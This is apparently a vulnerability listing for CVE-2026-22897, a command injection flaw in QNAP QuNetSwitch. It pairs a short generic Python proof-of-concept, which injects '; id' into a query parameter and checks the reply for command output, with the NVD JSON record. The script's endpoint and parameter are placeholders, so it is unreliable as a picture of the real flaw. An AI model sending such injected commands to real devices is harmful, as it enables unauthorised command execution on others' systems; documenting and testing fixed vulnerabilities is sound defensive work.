CVE-2026-22897

import requests def verify_poc(target_url): """ Proof of Concept for Command Injection in QuNetSwitch. This script attempts to execute the 'id' command. """ # Replace with the actual vulnerable endpoint and parameter endpoint = "/api/vulnerable_endpoint" payload = "; id" full_url = f"{target_url}{endpoint}" try: # Sending malicious payload response = requests.get(full_url, params={"param": payload}, timeout=10) # Checking if command output exists in response if "uid=" in response.text or "gid=" in response.text: print(f"[+] Target {target_url} is vulnerable.") print(f"[+] Command execution output: {response.text}") else: print(f"[-] Target {target_url} does not appear to be vulnerable.") except Exception as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": target = "http://192.168.1.100:8080" # Example Target verify_poc(target)

{"cve": {"id": "CVE-2026-22897", "sourceIdentifier": "[email protected]", "published": "2026-03-20T17:16:44.147", "lastModified": "2026-03-25T21:06:25.027", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A command injection vulnerability has been reported to affect QuNetSwitch. The remote attackers can then exploit the vulnerability to execute arbitrary commands.\n\nWe have already fixed the vulnerability in the following version:\nQuNetSwitch 2.0.4.0415 and later"}, {"lang": "es", "value": "Se ha informado de una vulnerabilidad de inyección de comandos que afecta a QuNetSwitch. Los atacantes remotos pueden entonces explotar la vulnerabilidad para ejecutar comandos arbitrarios.\n\nYa hemos corregido la vulnerabilidad en la siguiente versión:\nQuNetSwitch 2.0.4.0415 y posteriores"}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:qnap:qunetswitch:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.0.1.13077", "versionEndExcluding": "2.0.4.0415", "matchCriteriaId": "111CE6FD-D6FE-4B5F-AC00-C1C7D7DB3704"}]}]}], "references": [{"url": "https://www.qnap.com/en/security-advisory/qsa-26-11", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}